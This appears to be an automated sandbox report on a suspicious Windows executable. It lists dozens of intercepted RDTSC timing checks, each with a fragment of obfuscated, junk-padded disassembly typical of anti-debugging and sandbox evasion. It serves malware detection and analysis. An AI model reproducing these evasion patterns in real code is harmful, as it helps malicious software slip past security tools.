Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 717BD5 second address: 717C57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F772874F636h 0x00000009 jmp 00007F772874F644h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 jp 00007F772874F63Ch 0x00000018 mov esi, dword ptr [ebp+122D2554h] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007F772874F638h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 00000014h 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a mov edi, eax 0x0000003c mov dword ptr [ebp+12469DAAh], edi 0x00000042 push 00000000h 0x00000044 push ebx 0x00000045 jmp 00007F772874F63Bh 0x0000004a pop edi 0x0000004b xchg eax, ebx 0x0000004c je 00007F772874F655h 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F772874F647h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7179B0 second address: 7179BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71AC14 second address: 71AC18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71BCD2 second address: 71BCE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 js 00007F77291E5956h 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71BCE7 second address: 71BCEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71AD53 second address: 71AD67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007F77291E5956h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71BCEB second address: 71BCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71AD67 second address: 71AD6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71BCF1 second address: 71BD5D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F772874F646h 0x00000008 jmp 00007F772874F640h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F772874F638h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a jmp 00007F772874F648h 0x0000002f push 00000000h 0x00000031 or dword ptr [ebp+12475673h], eax 0x00000037 push 00000000h 0x00000039 mov dword ptr [ebp+122D1962h], edx 0x0000003f xchg eax, esi 0x00000040 pushad 0x00000041 jo 00007F772874F63Ch 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71BEE4 second address: 71BF06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F77291E5968h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71BF06 second address: 71BF0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71E06D second address: 71E077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F77291E5956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71E077 second address: 71E07B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71EF18 second address: 71EF40 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F77291E5962h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 jns 00007F77291E5964h 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71FE39 second address: 71FE4A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F772874F636h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71EF40 second address: 71EFE7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F77291E5956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007F77291E5964h 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov edi, 10D77F08h 0x0000001c jnl 00007F77291E595Ch 0x00000022 mov edi, dword ptr [ebp+122D307Ch] 0x00000028 mov dword ptr fs:[00000000h], esp 0x0000002f mov di, 5A92h 0x00000033 mov eax, dword ptr [ebp+122D03F1h] 0x00000039 push 00000000h 0x0000003b push ebp 0x0000003c call 00007F77291E5958h 0x00000041 pop ebp 0x00000042 mov dword ptr [esp+04h], ebp 0x00000046 add dword ptr [esp+04h], 0000001Ch 0x0000004e inc ebp 0x0000004f push ebp 0x00000050 ret 0x00000051 pop ebp 0x00000052 ret 0x00000053 push FFFFFFFFh 0x00000055 mov dword ptr [ebp+122D3862h], edx 0x0000005b nop 0x0000005c ja 00007F77291E5968h 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jno 00007F77291E5967h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 720C0E second address: 720C6A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F772874F63Bh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F772874F638h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 mov dword ptr [ebp+12491EC4h], edx 0x0000002e mov ebx, 1F151DE5h 0x00000033 push 00000000h 0x00000035 mov ebx, esi 0x00000037 mov di, si 0x0000003a push 00000000h 0x0000003c or edi, 7C3B768Bh 0x00000042 push eax 0x00000043 jc 00007F772874F644h 0x00000049 pushad 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 71FE4A second address: 71FE4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 721CCE second address: 721CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 721CD2 second address: 721CD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 721CD6 second address: 721D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a movsx edi, dx 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F772874F638h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 movsx edi, si 0x0000002c push 00000000h 0x0000002e jnc 00007F772874F63Ch 0x00000034 xchg eax, esi 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push ebx 0x0000003a pop ebx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 721D20 second address: 721D26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 721D26 second address: 721D2B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 720E2E second address: 720E34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 721D2B second address: 721D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F772874F63Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 724AB6 second address: 724ABC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 724ABC second address: 724AD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F772874F640h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 726BBB second address: 726BC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 724D18 second address: 724D1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 721F2E second address: 721F38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F77291E5956h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 726DD9 second address: 726DE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F772874F636h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 728EF9 second address: 728EFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 728EFD second address: 728F01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 731EB8 second address: 731EFB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F77291E5956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F77291E5961h 0x0000000f pushad 0x00000010 jmp 00007F77291E5968h 0x00000015 jmp 00007F77291E595Bh 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 731EFB second address: 731F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 push edx 0x0000000a pop edx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d jmp 00007F772874F643h 0x00000012 push esi 0x00000013 pop esi 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 73161A second address: 73164A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F77291E5966h 0x00000009 jp 00007F77291E5956h 0x0000000f jnc 00007F77291E5956h 0x00000015 popad 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push ecx 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d pop eax 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 731A4F second address: 731A70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F772874F636h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F772874F643h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7360F2 second address: 73611B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F77291E5970h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 73611B second address: 73612F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F772874F640h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 73612F second address: 73613E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F77291E5956h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 73613E second address: 736144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 736144 second address: 73614A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 73DFD6 second address: 73DFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 73E758 second address: 73E767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jne 00007F77291E595Eh 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 73E767 second address: 73E7A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jmp 00007F772874F648h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 jmp 00007F772874F648h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 73E7A2 second address: 73E7D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F77291E5967h 0x0000000f jmp 00007F77291E595Dh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 73EBB6 second address: 73EBBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 73EBBA second address: 73EBBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 73EBBE second address: 73EBD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F772874F63Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 73EBD2 second address: 73EC26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F77291E5965h 0x00000008 jmp 00007F77291E5960h 0x0000000d pop eax 0x0000000e jmp 00007F77291E5967h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007F77291E595Dh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 73EC26 second address: 73EC31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F772874F636h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7473E8 second address: 747400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 je 00007F77291E5962h 0x0000000c js 00007F77291E5956h 0x00000012 jne 00007F77291E5956h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747400 second address: 747425 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F772874F63Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F772874F643h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747425 second address: 747429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 74758A second address: 74759A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 jnp 00007F772874F636h 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 74759A second address: 7475A4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F77291E5968h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747920 second address: 747924 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747924 second address: 747928 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747928 second address: 74792E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 74792E second address: 747939 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747C2E second address: 747C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747C36 second address: 747C5E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F77291E5956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push ecx 0x0000000c jmp 00007F77291E5968h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747DC5 second address: 747DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F772874F636h 0x0000000a jl 00007F772874F636h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747F88 second address: 747F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747F8C second address: 747F90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747F90 second address: 747F96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747F96 second address: 747FC7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jbe 00007F772874F636h 0x00000010 jc 00007F772874F636h 0x00000016 jp 00007F772874F636h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f pushad 0x00000020 jmp 00007F772874F63Fh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747FC7 second address: 747FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 74815A second address: 748164 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 748164 second address: 748168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7482C3 second address: 7482CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 748419 second address: 74841D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 74841D second address: 748442 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F649h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F772874F636h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 748442 second address: 748446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 748446 second address: 74844C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 7470FF second address: 747106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 747106 second address: 74715A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F772874F653h 0x00000008 jnl 00007F772874F636h 0x0000000e jmp 00007F772874F647h 0x00000013 jmp 00007F772874F646h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F772874F63Dh 0x00000023 ja 00007F772874F636h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 74715A second address: 747164 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F77291E5956h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 74D043 second address: 74D06D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F772874F641h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b jo 00007F772874F636h 0x00000011 pushad 0x00000012 popad 0x00000013 jns 00007F772874F636h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6C7EEC second address: 6C7EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6D20F3 second address: 6D20FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6D20FD second address: 6D2119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F77291E5968h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\g4Cyr2T5jq.exe	RDTSC instruction interceptor: First address: 6D2119 second address: 6D211F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
